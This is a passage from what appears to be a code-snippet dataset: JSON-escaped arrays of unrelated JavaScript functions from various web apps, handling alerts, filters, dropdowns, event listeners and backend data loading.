\t\t\t\tgrid.dataSource.query({\n \t\t\t\t\tpage: 1,\n \t\t\t\t\tpageSize: 10\n \t\t\t\t});\n \t\t\t} else {\n \t\t\tfillDataTableGoodsDetailPopUp([]);\n \t\t\t}\n \t\t\t\n \t\t\tconsole.log(vm.orderGoodsDetailSearch.goodsName);\n\t\t\t}\n\t\t\t\n\t\t}","handleSelection(event) {\n this.pollEverySec(this.interval);\n const eventData = event.detail;\n const fields = {\n Name: eventData.name,\n EventType: eventData.type,\n PrimaryPersonId: this.contactId,\n EventDate: new Date().toISOString()\n };\n this.showNewLifeEventPage(fields, \"new\");\n }","function load() {\n if(vm.document._id !== -1) {\n backendService.getDocumentById(vm.document._id).success(function(data) {\n\n // got the data - preset the selection\n vm.document.title = data.title;\n vm.document.fileName = data.fileName;\n vm.document.amount = data.amount;\n vm.document.senders = data.senders;\n vm.document.tags = data.tags;\n vm.document.modified = data.modified;\n vm.document.created = data.created;\n\n vm.selectedSenders = data.senders;\n vm.selectedTags = data.tags;\n\n })\n .error( function(data, status, headers) {\n\n if(status === 403) {\n $rootScope.$emit('::authError::');\n return;\n }\n\n alert('Error: ' + data + '\\nHTTP-Status: ' + status);\n return $location.path('/');\n\n\n });\n } else {\n vm.selectedSenders = [];\n vm.selectedTags = [];\n }\n\n }","initExtras() {\n this._extraService.getExtra().subscribe(response => {\n this.extras = response.extra;\n if (response.extra.length <= 0) {\n this.fatalError = true;\n this.loading = false;\n this.launchAlert('info', 'Sin Datos de RMUV', 'Al parecer no existen datos de la Remuneracion Unificada Vigente, por favor, Ingresarlos antes de continuar', 'Ingresar Ahora!!', true, null, null, null, null, null);\n // alert('no existen los datos de RMUV... por favor ingresarlos antes de continuar con los registros de consumo');\n }\n else if (response.extra.length >= 1) {\n this.fatalError = false;\n this.loading = false;\n }\n }, error => {\n this.loading = false;\n console.log(error);\n this.errorCatched.description = error.toString();\n this.errorCatched.table = 'Extra';\n this.errorCatched.action = 'getExtras';\n this.errorCatched.title = 'Error en la Obtencion de Los datos Extras';\n this.errorCatched.zone = 'addRegister';\n this.errorCatched.code = this.errorCatched.zone + '-' + this.errorCatched.action + '-' + this.errorCatched.table;\n this.errorCatcherService.saveError(this.errorCatched).subscribe(response => {\n this.launchAlert('error', 'Error en la Carga', 'Se ha producido un error a la hora de cargar los datos de la RMUV' + response.Message, 'Ir a la Ventana de Errores de Sistema? ', true, null, null, null, null, null);\n });\n });\n }","function initEventListener() {\n $scope.$on(vm.controllerId + '.data.filter', function (e, v) {\n vm.data.searchString = v;\n });\n $scope.$on(vm.controllerId + '.action.refresh', function (event, data) {\n getPage(_tableState);\n });\n $scope.$on(vm.controllerId + '.action.reload', function (e, v) {\n reload();\n });\n $scope.$on(vm.controllerId + '.action.F2', function (e, v) {\n console.log(checkQuyenUI('N'));\n if (checkQuyenUI('N')) {\n window.location.href = linkUrl + 'create';\n }\n });\n }","handlesClick(){\n \n const selectedFieldsValueParam = this.selectedFieldsValue;\n const showComp = this.showScreen;\n this.hideObjectScreen=false;\n const isHideObjectScreen= this.hideObjectScreen;\n \n //console.log('Hi' +showComp);\n // console.log('selectedFieldsValueParam=='+this.selectedFieldsValue);\n // console.log('selectedFieldsValueParam= '+selectedFieldsValueParam);\n\n //show error if no rows have been selected\n if(selectedFieldsValueParam ===null || selectedFieldsValueParam===''){\n const evt = new ShowToastEvent({\n title: this._title,\n message: this.message,\n variant: this.variant,\n });\n this.dispatchEvent(evt);\n }\n else {\n //propage event to next component\n const evtCustomEvent = new CustomEvent('retreive', {\n detail: { selectedFieldsValueParam,showComp,isHideObjectScreen}\n });\n this.dispatchEvent(evtCustomEvent);\n }\n }","onTriggerClick() {\n const me = this;\n\n if (me.pickerVisible) {\n me.hidePicker();\n } else {\n if (!me.readOnly && !me.disabled) {\n switch (me.triggerAction) {\n case this.constructor.queryAll:\n me.doFilter(null);\n break;\n\n case comboQueryLast:\n me.doFilter(me.lastQuery);\n break;\n\n default:\n me.doFilter(me.input.value);\n }\n }\n }\n }","click(){\r\n if ( !this.isDisabled && !this.readnly ){\r\n this.getRef('input').focus();\r\n if ( this.filteredData.length ){\r\n this.isOpened = !this.isOpened;\r\n }\r\n }\r\n }","function filterHandler() {\n\n // Available checkbox\n $('#Check0').change(function(){\n filter.available = this.checked;\n genericLoad();\n })\n\n // price range filter\n $('#confirm-filter').click(function() {\n var min = $('#min-filter').val();\n var max = $('#max-filter').val();\n\n if(($.isNumeric(min) || $.isNumeric(max)) && (min >= 0 && max >= 0)) {\n filter.minPrice = $.isNumeric(min)? min : filter.minPrice;\n filter.maxPrice = $.isNumeric(max)? max : filter.maxPrice;\n genericLoad();\n }\n else \n showNotificationBar(\"Per favore, inserisci dei valori positivi\");\n });\n\n // reset button\n $('#reset-filter').click(function() {\n\n filter.minPrice = 0;\n filter.maxPrice = Number.MAX_VALUE;\n genericLoad();\n\n });\n\n // review filter\n $(\"input[name='filter']\").change(function() {\n\n filter.starRating = $(this).val();\n genericLoad();\n\n });\n\n}","function onSelect(event) {\r\n refresh(JSON.parse(event.data));\r\n}","function filterListener(){\n $(\"#colorFilter\").change(function(){\n populateBikeList();\n });\n $(\"#statusFilter\").change(function(){\n populateBikeList();\n });\n }","function bindExistingAlerts() {\n\t\t\tvar allAlertsCloseBtns$ = jContainer.find(\".container-ASWidgetAlert .close\");\n\t\t\tallAlertsCloseBtns$.unbind(\"click\").on(\"click\", function(event) {\n\t\t\t\t$(event.currentTarget).parents(\".container-ASWidgetAlert\").first().remove();\n\t\t\t\treturn false;\n\t\t\t});\n\t\t}","function makeAlerts(){\n// put event listener for each selected tag\n var myp = document.querySelectorAll(\"#a2 p\");\n for(var i=0; i < myp.length; i++){//loop for the length of the myp array\n myp[i].addEventListener(\"click\",showNewAlert);//add a listener for every object in the arry\n }\n}","function onReportDiagnosticPopupSeeAllBtnClick() {\r\n seeAllClicked = true;\r\n tau.closePopup();\r\n }","function alerts (io) {\n\tio.of('/alert').on('connection', (USA) => {\n\t\tconsole.log(`United States ready to recieve alerts at ${USA.id}`);\n\n\t\talertEvent.on('alert', () => {\n\t\t\tfor (const msg of usaAlerts) {\n\t\t\t\tUSA.emit('alert', msg);\n\t\t\t}\n\t\t\tusaAlerts = [];\n\t\t});\n\n\t\tUSA.on('disconnect', () => console.log(`USA disconnected ${USA.id}`));\n\t});\n}","constructor() {\n this.display = document.getElementById('displayRow'); //getting the tbody of our table\n this.notify = document.getElementById('notification'); //getting the div tag above table to show alerts\n }","function callOnholdRes(d,s) {\n d = d.data;\n $(\"#onhold-open-popup .onholdres\").html(d.content_detail);\n $('#onhold-open-popup').modal('show');\n $('#onhold-open-popup button.btn').addClass('inactive');\n setTimeout(function() {\n modifyDropDown({selectorClass:'#onhold-open-popup .onholdres #onholdsection',searchAny:true,placeholder:'Search Reason'});\n },0);\n hideFullLoader('content_loader');\n //Added dropDown on change event\n $('#onhold-open-popup #onholdsection').on('change', function(){\n if($(this).children('option:selected').val() === 'Please select a reason:'){\n $('#onhold-open-popup button.btn').addClass('inactive');\n } else {\n $('#onhold-open-popup button.btn').removeClass('inactive');\n }\n });\n }","handleLookupSelect(event) { \n this.selectedName = event.detail.Family; \n this.showoptions=false;\n \n }","function handleSupp(ev) {\n console.log(contacts.filter((_) => _.id !== ev.detail.id ));\n setContacts(contacts.filter((_) => _.id !== ev.detail.id ));\n }","function loadOffers() { // ohne alerts funktionierts nicht =( ... wieso??\n\t// reset selectedID (account could have been deleted in meantime)\n\t// selectedOffer = null;\n\tconnect(\"/hiwi/Provider/js/loadOffers\", \"\", handleLoadOffersResponse);\n}","ngOnInit() {\r\n //this._auctionListService.getAuctionItems().subscribe(\r\n //data => this.auctionItems = data FOR FILTERING \r\n //)\r\n this.getAuctionItems();\r\n }","function loadSuccess(ev) {\n if (ev) {\n removeAllEventsFromDisplay();\n cosmo.view.cal.itemRegistry = ev;\n }\n cosmo.view.cal.itemRegistry.each(appendLozenge);\n // Update the view\n updateEventsDisplay();\n }","function getCategory(e) {\n filter(e.target.value); //filter function send which button we click\n if(e.target.value == \"all\"){\n bringFoods(); // bringFoods run when we click \"all button\" & form loaded\n }\n\n}","function showEnsFilters() {\t\r\n\r\n}","function buttonClick(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Create & display new table with filtered/searched data\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\"value\"))\n displayData(filtered_table);\n}","function showGrowerList(e) {\n viewModel.set(\"selectedUserId\", e.view.params.userId);\n initList();\n }","onTriggerClick() {\n const me = this;\n\n if (me.pickerVisible) {\n me.hidePicker();\n } else {\n if (!me.readOnly && !me.disabled) {\n switch (me.triggerAction) {\n case comboQueryAll:\n me.doFilter(null);\n break;\n case comboQueryLast:\n me.doFilter(me.lastQuery);\n break;\n default:\n me.doFilter(me.input.value);\n }\n }\n }\n }","function alerts() {\n $(\"span.top-label.label.label-warning\").text(todoItemsData.length);\n $('.dropdown-alerts').empty();\n $.each(todoItemsData, (idx, item) => {\n let i = $('');\n let span = $('').text( daysLeft(item.date) + ' days left');\n let div = $('').append(i).append(item.title).append(span);\n let a = $('')\n .click( () => {\n $('.card[data-todoid=\"' + item.item_id + '\"] .edit-btn').click();\n })\n .append(div);\n let li = $('').append(a);\n let divider = $('');\n $(\"ul.dropdown-menu.dropdown-alerts\").append(li).append(divider);\n });\n}","function setFilterDisplayObj() {\n var postArray = ['categoryFilter', 'statusFilter', 'substatusFilter', 'typeFilter', 'subTypeFilter', 'venueFilter', 'lawtypeFilter'];\n var valKey = ['category', 'statuses', 'substatus', 'type', 'subtypes', 'venues', 'law-types'];\n var filterObj = {};\n _.each(postArray, function (val, index) {\n //get array of current valkey item from masterlist\n if (val == 'substatusFilter') {\n var array = extractSubStatus();\n } else if (val == 'subTypeFilter') {\n var array = extractSubTypes();\n } else {\n var array = angular.copy(self.viewModel.masterList[valKey[index]]);\n }\n\n var appliedFilters = [];\n //iterate over current selected filters\n\n var filterString = self.viewModel.filters[val].toString();\n _.forEach(filterString.split(','), function (id) {\n if (utils.isEmptyString(id)) { return; } //if filter id is all/stalled push as is\n if (id === \"all\") {\n appliedFilters.push(id);\n } else if (id === \"stalled\") {\n appliedFilters.push('');\n } else {\n // find object from array having the current id\n var appliedFilter = _.find(array, function (item) {\n return item.id === id;\n });\n\n if (utils.isEmptyVal(appliedFilter.name)) {\n appliedFilter.name = \"{Blank}\";\n }\n appliedFilters.push(appliedFilter.name);\n }\n });\n //set the filter obj\n // filterObj ={name:,value:}\n filterObj[val] = {};\n filterObj[val].name = valKey[index].toUpperCase();\n filterObj[val].data = appliedFilters;\n });\n filterObj.orderby = {\n name: \"ORDERED BY\",\n data: [self.getSortByLabel(self.viewModel.filters.sortby)]\n };\n\n //US#5557 Added Include referredOut status in print with Yes/ No ....Start\n if (self.viewModel.filters.statusFilter == \"stalled\" || self.viewModel.filters.statusCase == \"Stalled\") {\n var includeReferredOutValue = self.viewModel.filters.includeReferredOut == 1 ? 'Yes' : '';\n filterObj.includeReferredOut = {\n name: \"Include Referred Out\",\n data: [includeReferredOutValue]\n };\n\n filterObj.statusCase = {\n name: \"Stalled\",\n data: [self.viewModel.filters.statusCase]\n };\n }\n\n var attorneys = self.allUsers[1].attorny;\n var staffs = self.allUsers[4].staffonly;\n var paralegals = self.allUsers[3].paralegal;\n if (utils.isNotEmptyVal(self.viewModel.filters.leadAttorney)) {\n var userObj = _.find(attorneys, function (user) {\n return user.uid == self.viewModel.filters.leadAttorney;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.leadAttorney = {\n name: 'Lead Attorney',\n data: [userName]\n };\n } else {\n filterObj.leadAttorney = {\n name: 'Lead Attorney',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.attorney)) {\n var userObj = _.find(attorneys, function (user) {\n return user.uid == self.viewModel.filters.attorney;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.attorney = {\n name: 'Attorney',\n data: [userName]\n };\n } else {\n filterObj.attorney = {\n name: 'Attorney',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.staff)) {\n var userObj = _.find(staffs, function (user) {\n return user.uid == self.viewModel.filters.staff;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.staff = {\n name: 'Staff',\n data: [userName]\n };\n } else {\n filterObj.staff = {\n name: 'Staff',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.paralegal)) {\n var userObj = _.find(paralegals, function (user) {\n return user.uid == self.viewModel.filters.paralegal;\n });\n var userName = userObj.name + ' ' + userObj.lname;\n filterObj.paralegal = {\n name: 'Paralegal',\n data: [userName]\n };\n } else {\n filterObj.paralegal = {\n name: 'Paralegal',\n data: []\n };\n }\n\n if (utils.isNotEmptyVal(self.viewModel.filters.doiEnd) && utils.isNotEmptyVal(self.viewModel.filters.doiStart)) {\n var start = moment.unix(self.viewModel.filters.doiStart).utc().format('MM/DD/YYYY');\n var end = moment.unix(self.viewModel.filters.doiEnd).utc().format('MM/DD/YYYY');\n filterObj.doi = {\n name: 'DOI Range',\n data: [start + ' - ' + end]\n };\n }\n return filterObj;\n }","function showAlert(alert_id) {\n hideAlerts();\n $('#' + alert_id).show();\n }","function showAlert(alert_id) {\n hideAlerts();\n $('#' + alert_id).show();\n }","function setupAreaSelectionEventListener() {\n $(\"#area-dropdown .dropdown-menu li a\").click(function () {\n selectedArea = $(this).text();\n var selText = $(this).text();\n $(this).parents('.btn-group').find('.dropdown-toggle').html(selText + ' ');\n clearDoctorDetails();\n dataTable.rows().every(function (rowIdx, tableLoop, rowLoop) {\n var data = this.data();\n if (selText !== \"All Cities\" && data.area !== selText) {\n this.node().style.display = \"none\";\n } else if (selectedSpeciality == null || selectedSpeciality == data.speciality) {\n this.node().style.display = \"\";\n }\n });\n });\n}","showResults(data) {\n\n const results = data.airports;\n\n console.log(results);\n\n let output = \"\";\n //The following for will print all the results in our table in the index.html \n //(saving in variable output)\n for (let index = 0; index < results.length; index++) {\n output += \"\"; //creating a table row element\n\n output += \"\" + results[index].name + \" \";\n output += \"\" + results[index].iata + \" \";\n output += \"\" + results[index].state.type + \" \";\n output += \"\" + results[index].city + \" \";\n output += \"\" + results[index].state.name + \" \";\n output += \"\" + results[index].country.name + \" \";\n\n output += \" \";\n }\n\n // console.log(output);\n\n // Notifying the number of airports found based on the query (in the div tag we get in constructor)\n this.notify.innerHTML = `\n \n `;\n\n // TimeOut (It will show the alert for 7 seconds)\n setTimeout(() => {\n const currentAlertS = document.querySelector('.is-primary');\n\n if (currentAlertS) {\n\n currentAlertS.remove();\n }\n\n }, 7000);\n\n\n //putting the data got from restful API into the table\n this.display.innerHTML = output;\n }","function getAlertAreas(){\n if($window.localStorage[\"authenticated\"] !== \"null\" && $window.localStorage[\"authenticated\"] === \"true\" && $window.localStorage[\"token\"] !== \"null\" && $window.localStorage[\"token\"]) {\n AlertArea_Service.setToken($window.localStorage[\"token\"]);\n var alertareas = AlertArea_Service.AlertAreas().get();\n alertareas.$promise.then(function() {\n removeAlertAreas();\n geofenceLayer = L.geoJson(alertareas, {\n style: function(feature) {\n return {\n color: '#3b9972',\n weight: 2,\n opacity: 0.6,\n fillOpacity: 0.1,\n pk: feature.properties.pk,\n /*Mark the polygon with it's database id*/\n objType: 'polygon'\n }}\n }).eachLayer(function(layer){alertareaLayer.addLayer(layer);});\n $scope.map.addLayer(alertareaLayer);\n $scope.legend.alertAreas = true;\n }, function(err) {\n try {\n $cordovaToast.showShortBottom(\"Alert areas could not be retrieved.\");\n } catch (err) {\n console.log(\"Alert areas could not be retrieved.\");\n }\n })\n }}"],"string":"[\n \"function afterAlertsLoad() {\\n if (sessionStorage.getItem(\\\"search_all_selected_obj\\\") !== null) {\\n var obj,\\n index;\\n obj = JSON.parse(sessionStorage.getItem(\\\"search_all_selected_obj\\\"));\\n index = TableUtil.getTableIndexById('#tblAlerts', obj.Id);\\n $(\\\"#tblAlerts\\\").bootstrapTable(\\\"check\\\", index);\\n showEditDialog();\\n sessionStorage.removeItem(\\\"search_all_selected_obj\\\");\\n }\\n }\",\n \"function alertLoad() {\\n\\t//alert('reloading alert page');\\n\\tfireAlerts.on('value', function(snap) {\\n\\t\\t$('#inputEmail').val(snap.val().email);\\n\\t\\t$('#checkEnergyOver').prop('checked',snap.val().dayKwhrFlg);\\n\\t\\t$('#inputKwhrLimit').val(snap.val().dayKwhrLmt);\\n\\t\\t$('#checkStandbyLow').prop('checked',snap.val().dayStbyFlg);\\n\\t\\t$('#inputStbyLimit').val(snap.val().dayStbyLmt);\\n\\t\\t$('#checkFault').prop('checked',snap.val().errFlg);\\n\\t\\t$('#checkModeChanged').prop('checked',snap.val().modeChgFlg);\\n\\t\\t$('#checkSPChanged').prop('checked',snap.val().SPChgFlg);\\n\\t\\t$('#checkElementUse').prop('checked',snap.val().htrElmntFlg);\\n\\t});\\n}\",\n \"handleSearchKeyword() {\\n \\n if (this.searchValue !== '') {\\n getAlertList({\\n searchKey: this.searchValue\\n })\\n .then(result => {\\n // set @track alert variable with return alert list from server \\n //this.alertList = result;\\n if(result) {\\n\\n let currentData = [];\\n \\n result.forEach((row) => {\\n \\n /* \\n * Creating the an empty object\\n * To reslove \\\"TypeError: 'set' on proxy: trap returned falsish for property\\\"\\n */\\n \\n let rowData = {};\\n rowData.Id = row.Id;\\n rowData.Name = row.Name;\\n rowData.Alert_Date = row.Alert_Date__c;\\n rowData.Primary_Entity_Number = row.Primary_Entity_Number__c;\\n rowData.Status = row.Status__c;\\n rowData.MoneyLaunderingRiskScore = row.Money_Laundering_Risk_Code__c;\\n \\n // Account related data\\n if (row.Primary_Entity__c) {\\n rowData.PrimaryEntityName = row.Primary_Entity__r.Name;\\n \\n }\\n currentData.push(rowData);\\n });\\n \\n this.alertList = currentData;\\n }\\n })\\n .catch(error => {\\n \\n const event = new ShowToastEvent({\\n title: 'Error',\\n variant: 'error',\\n message: error.body.message,\\n });\\n this.dispatchEvent(event);\\n // reset alert var with null \\n this.alertList = null;\\n });\\n } else {\\n // fire toast event if input field is blank\\n const event = new ShowToastEvent({\\n variant: 'error',\\n message: 'Search text missing..',\\n });\\n this.dispatchEvent(event);\\n }\\n}\",\n \"function listaAlertas(){\\n\\tvar lista = Widget.createController('listaAlertas').getView();\\n\\tlista.open();\\n}\",\n \"onClickAlertSubscribe() {\\n // TODO: Set user as watcher for this alert when API ready\\n }\",\n \"onAlert(id = this.defaultId) {\\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\\\"filter\\\"])(x => x && x.id === id));\\n }\",\n \"onAlert(id = this.defaultId) {\\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\\\"filter\\\"])(x => x && x.id === id));\\n }\",\n \"function refreshFilterAlarmSummaryData(selectedAlarmLevel) {\\r\\n filterAlarmSummaryDataList = [];\\r\\n for (var index = 0; index < alarmSummaryDataList.length; index++) {\\r\\n if ((wemsAlarmSummaryVM.selectedAlarmLevel != wemsAlarmSummaryVM.alarmLevel.all)\\r\\n && (wemsAlarmSummaryVM.selectedAlarmLevel != alarmSummaryDataList[index].LevelCode)) {\\r\\n continue;\\r\\n }\\r\\n\\r\\n filterAlarmSummaryDataList.push(alarmSummaryDataList[index]);\\r\\n }\\r\\n\\r\\n showMoreAlarmSummaryData(true);\\r\\n }\",\n \"onAlert(id = this.defaultId) {\\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_1__[\\\"filter\\\"])(x => x && x.id === id));\\n }\",\n \"function selectedData(event) {\\n displayProblems();\\n}\",\n \"setAlertToday(){\\n \\n var aujourdhui = this.today.toLocaleDateString();\\n this.eventsOftheday =[]; // vide le tableau des alertes avant chaque set\\n \\n for(var eventa of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhui\\n if( eventa.datestartevent == aujourdhui ){\\n this.addAlertToday(eventa);\\n \\n }\\n \\n }\\n \\n }\",\n \"function viewDataArray() {\\n log('viewDataArray');\\n let alertText =\\n 'Reviver ID: ' + activeDataItem.reviver_id +\\n '\\\\nTarget: ' + activeDataItem.target +\\n '\\\\nTime: ' + activeDataItem.time +\\n '\\\\nLevel: ' + activeDataItem.level +\\n '\\\\nChance: ' + activeDataItem.chance +\\n '\\\\nCost: ' + activeDataItem.cost +\\n '\\\\nSuccess: ' + activeDataItem.success +\\n '\\\\nRS Start: ' + activeDataItem.rs_start +\\n '\\\\nRS End: ' + activeDataItem.rs_end;\\n\\n alert(alertText);\\n }\",\n \"alerts() {\\r\\n return this.request('GET', 'alerts')\\r\\n .then((data) => (!!data['alerts'] ? data['alerts'] : []).map(Alert.fromJSON));\\r\\n }\",\n \"function onChangeAlarmLevelHandler() {\\r\\n refreshFilterAlarmSummaryData();\\r\\n }\",\n \"_onFilterSelected(event) {\\n this.filter = event.detail.filter;\\n this.render();\\n }\",\n \"filterRestaurants () {\\n this.sendAction('filterInit', {\\n price: this.get('price'),\\n isOpen: this.get('isChecked')\\n });\\n }\",\n \"function onShowWemsAlarmSummaryModal() {\\r\\n showMoreAlarmSummaryData(true);\\r\\n }\",\n \"_list() {\\n this._listPromise().then((json) => {\\n this._alerts = json;\\n this._render();\\n this._openOnLoad();\\n }).catch(errorMessage);\\n }\",\n \"function handleFilterSelected() {\\n $('main').on('change', '#filter', function(event) {\\n store.filter = $(this).val()\\n render();\\n })\\n}\",\n \"function updateAlertsList(){\\n $( \\\"#traffic_alerts_list\\\" ).html(\\\"\\\");\\n $.each(traffic.alerts, function( index, item ) {\\n if ($.inArray(item.type, alertsType) < 0) {\\n alertsType.push(item.type); \\n }\\n if (item.type == 'WEATHERHAZARD'){\\n if ($.inArray(item.subtype, WEATHERHAZARD_SubType) < 0) {\\n WEATHERHAZARD_SubType.push(item.subtype); \\n } \\n }\\n });\\n\\n $.each(alertsType, function( index, item ) { \\n if (item == 'WEATHERHAZARD'){\\n $( \\\"#traffic_alerts_list\\\" ).append( \\\"\\\" + item + \\\" \\\" );\\n }else{\\n $( \\\"#traffic_alerts_list\\\" ).append( \\\"\\\" + item + \\\" \\\" );\\n }\\n });\\n $('#traffic_alerts_list li').on( 'click', function () {\\n specific_alert = $(this).attr('data-to-show');\\n $('#title').html('Traffic Alerts ' + specific_alert + ''); \\n subtype_alert = \\\"NO_SUBTYPE\\\";\\n showAlerts(true);\\n updateMap();\\n });\\n\\n $.each(WEATHERHAZARD_SubType, function( index, item ) {\\n if (item.indexOf(\\\"HAZARD_ON_ROAD_\\\") < 0 && item.indexOf(\\\"HAZARD_ON_SHOULDER_\\\") < 0 && item.indexOf(\\\"HAZARD_WEATHER_\\\") < 0){\\n if (item.trim() == \\\"\\\"){\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"NO_SUBTYPE \\\" );\\n }else{\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"\\\" + item.substring(0, 20) + \\\" \\\" );\\n }\\n \\n }else{\\n if (item.indexOf(\\\"HAZARD_ON_ROAD_\\\") >= 0){\\n var pos = \\\"HAZARD_ON_ROAD_\\\".length;\\n var li_text = item.substring(pos,item.length);\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"\\\" + li_text + \\\" \\\" );\\n }\\n if (item.indexOf(\\\"HAZARD_ON_SHOULDER_\\\") >= 0){\\n var pos = \\\"HAZARD_ON_SHOULDER_\\\".length;\\n var li_text = item.substring(pos,item.length);\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"\\\" + li_text + \\\" \\\" );\\n }\\n if (item.indexOf(\\\"HAZARD_WEATHER_\\\") >= 0){\\n var pos = \\\"HAZARD_WEATHER_\\\".length;\\n var li_text = item.substring(pos,item.length);\\n $( \\\"#traffic_alerts_weatherhazard_list\\\" ).append( \\\"\\\" + li_text + \\\" \\\" );\\n }\\n }\\n \\n });\\n\\n $('#traffic_alerts_weatherhazard_list li').on( 'click', function () {\\n specific_alert = \\\"WEATHERHAZARD\\\";\\n subtype_alert = $(this).attr('data-to-show');\\n $('#title').html('Traffic Alerts ' + subtype_alert +'');\\n showAlerts(true);\\n updateMap();\\n });\\n \\n }\",\n \"function getAlerts() {\\n\\t$.get(\\\"/load_charts/get-stats/?threshold=\\\"+threshold.toFixed(2), function (data){ \\n\\t\\tvar alertJson = JSON.parse(data);\\n\\t\\tupdateAlert(alertJson); \\n\\t\\tupdateStats(alertJson); \\n\\t});\\n}\",\n \"focus(){\\n\\n // pass stream of favorite\\n // places to knockout observable\\n this._filterSub =\\n this._placesService\\n .favorites()\\n .subscribe(favorites => {\\n this.places(favorites);\\n });\\n }\",\n \"function onLoad() {\\r\\n onRestore();\\r\\n $('release-notes').addEventListener('click', onVisitReleaseNotes, false)\\r\\n $('button-save').addEventListener('click', onSave, false);\\r\\n $('button-close').addEventListener('click', onClose, false);\\r\\n $('exclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\\r\\n $('exclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\\r\\n $('exclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\\r\\n \\r\\n $('inclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\\r\\n $('inclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\\r\\n $('inclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\\r\\n \\r\\n $('visit-extensions').addEventListener('click', onVisitExtension, false);\\r\\n \\r\\n exlusionDialog = new DialogController('exclusion-add-filter-dialog');\\r\\n exlusionDialog.addEventListener('click', onDialogOk);\\r\\n exlusionDialog.addEventListener('load', onDialogLoad);\\r\\n exlusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\\r\\n exlusionDialog.init();\\r\\n \\r\\n inclusionDialog = new DialogController('inclusion-add-filter-dialog');\\r\\n inclusionDialog.addEventListener('click', onDialogOk);\\r\\n inclusionDialog.addEventListener('load', onDialogLoad);\\r\\n inclusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\\r\\n inclusionDialog.init();\\r\\n}\",\n \"chooseData() {\\n // ******* TODO: PART I *******\\n //Changed the selected data when a user selects a different\\n // menu item from the drop down.\\n\\n }\",\n \"chooseData() {\\n // ******* TODO: PART I *******\\n //Changed the selected data when a user selects a different\\n // menu item from the drop down.\\n\\n }\",\n \"function incidentsContentViewModel() {\\r\\n var self = this;\\r\\n self.loadIncident = function (data) {\\r\\n console.log(data);\\r\\n history.pushState(null, '', 'index.html?root=incident&id=' + data);\\r\\n oj.Router.sync();\\r\\n };\\r\\n\\r\\n self.getUrl = function () {\\r\\n var urlParams = config.url + 'alerts/';\\r\\n urlParams = urlParams + \\\"?loc=\\\" + rootViewModel.currentLocationID();\\r\\n urlParams = urlParams + \\\"&type=\\\" + self.alertType();\\r\\n urlParams = urlParams + \\\"&start=\\\" + self.start;\\r\\n urlParams = urlParams + \\\"&end=\\\" + self.end;\\r\\n return urlParams;\\r\\n };\\r\\n\\r\\n self.alertType = ko.observable('Temp');\\r\\n\\r\\n self.setAlertType = function (alertType) {\\r\\n console.log(alertType);\\r\\n self.alertType(alertType);\\r\\n self.loadData();\\r\\n };\\r\\n\\r\\n self.ready = ko.observable(false);\\r\\n var rootViewModel = ko.dataFor(document.getElementById('globalBody'));\\r\\n self.currentLocation = ko.observable();\\r\\n\\r\\n self.incidents = ko.observableArray();\\r\\n self.tempTotal = ko.observable(0);\\r\\n self.energyTotal = ko.observable(0);\\r\\n self.otherTotal = ko.observable(0);\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n // self.prod = rootViewModel.prod();\\r\\n self.prod = true;\\r\\n\\r\\n\\r\\n\\r\\n /*Load Data*/\\r\\n self.loadData = function () {\\r\\n return new Promise(function (resolve, reject) {\\r\\n\\r\\n if (self.prod) {\\r\\n url = self.getUrl();\\r\\n console.log(url)\\r\\n } else {\\r\\n url = 'js/data/mock/incidents.json';\\r\\n }\\r\\n\\r\\n jsonData.fetchData(url).then(function (incidents) {\\r\\n self.incidents.removeAll();\\r\\n \\r\\n if(self.alertType()==='Temp'){\\r\\n self.tempTotal(incidents.length) \\r\\n }\\r\\n \\r\\n if(self.alertType()==='Energy'){\\r\\n self.energyTotal(incidents.length) \\r\\n }\\r\\n \\r\\n \\r\\n self.incidents(incidents);\\r\\n self.ready(true);\\r\\n resolve(true);\\r\\n }).fail(function (error) {\\r\\n console.log(error);\\r\\n resolve(false);\\r\\n });\\r\\n });\\r\\n\\r\\n };\\r\\n\\r\\n /*Location Change*/\\r\\n self.locationChange = ko.computed(function () {\\r\\n // self.currentLocation(rootViewModel.currentLocationID());\\r\\n // self.loadData();\\r\\n });\\r\\n\\r\\n self.start = moment().subtract(6, 'days');\\r\\n self.end = moment();\\r\\n self.dateText = ko.observable();\\r\\n\\r\\n\\r\\n\\r\\n self.handleAttached = function () {\\r\\n $(\\\"#reportrange\\\").daterangepicker({startDate: self.start,\\r\\n endDate: self.end,\\r\\n ranges: {\\r\\n 'Today': [moment(), moment()],\\r\\n 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],\\r\\n 'Last 7 Days': [moment().subtract(6, 'days'), moment()],\\r\\n 'Last 30 Days': [moment().subtract(29, 'days'), moment()],\\r\\n 'This Month': [moment().startOf('month'), moment().endOf('month')],\\r\\n 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]\\r\\n }\\r\\n }, self.datePicked);\\r\\n };\\r\\n\\r\\n // $('#reportrange span').html(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, 